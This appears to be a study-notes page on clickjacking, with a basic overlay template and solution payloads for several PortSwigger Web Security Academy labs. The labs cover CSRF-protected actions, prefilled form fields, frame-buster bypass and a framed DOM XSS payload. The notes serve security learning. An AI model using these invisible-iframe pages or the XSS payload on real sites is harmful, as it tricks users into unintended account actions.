Clickjacking

Burp Extension

Clickbandit

Burp Clickbandit - PortSwiggerBurp_Suite

Basic Clickjacking Template

<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://target-website.com">
	</iframe>
</body>

Lab: Basic clickjacking with CSRF token protection

Submit this to the victim

<style>
        iframe {
                position:relative;
                width:700px;
                height:500px;
                opacity:0.0001;
                z-index:+2;
        }
        div{
                position:absolute;
                top:498px;
                left:60px;
                z-index:+1;
        }
</style>
<div>click</div>
<iframe src="https://0a7300a80312602380d99e44000d0047.web-security-academy.net/my-account"></iframe>

Lab: Clickjacking with form input data prefilled from a URL parameter

Submit this to the victim

<style>
        iframe {
                position:relative;
                width:700px;
                height:500px;
                opacity:0.0001;
                z-index:+2;
        }
        div{
                position:absolute;
                top:450px;
                left:60px;
                z-index:+1;
        }
</style>
<div>click</div>
<iframe src="https://0a39003404cd9abf827724cf00f1000d.web-security-academy.net/my-account?email=test@test"></iframe>

Lab: Clickjacking with a frame buster script

Submit this to the victim

<style>
        iframe {
                position:relative;
                width:700px;
                height:500px;
                opacity:0.0001;
                z-index:+2;
        }
        div{
                position:absolute;
                top:450px;
                left:60px;
                z-index:+1;
        }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ab5003f047d858783a36474001a004b.web-security-academy.net/my-account?email=a@a"></iframe>

Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS

Submit this to the victim

<style>
        iframe {
                position:relative;
                width:700px;
                height:500px;
                opacity:0.0001;
                z-index:+2;
        }
        div{
                position:absolute;
                top:450px;
                left:60px;
                z-index:+1;
        }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a2e00fa0375860c83b8dfa4003b00f7.web-security-academy.net/feedback?name=%3Cimg+src=1+onerror=print()%3E&email=test@test&subject=test&message=test"></iframe>

PreviousClient-side attacks NextDOM-based Vulnerabilities

Last updated 1 year ago

hashtagBurp Extension

hashtagBasic Clickjacking Template

hashtagLab: Basic clickjacking with CSRF token protection

hashtagLab: Clickjacking with form input data prefilled from a URL parameter

hashtagLab: Clickjacking with a frame buster script

hashtagLab: Exploiting clickjacking vulnerability to trigger DOM-based XSS

Burp Extension

Basic Clickjacking Template

Lab: Basic clickjacking with CSRF token protection

Lab: Clickjacking with form input data prefilled from a URL parameter

Lab: Clickjacking with a frame buster script

Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS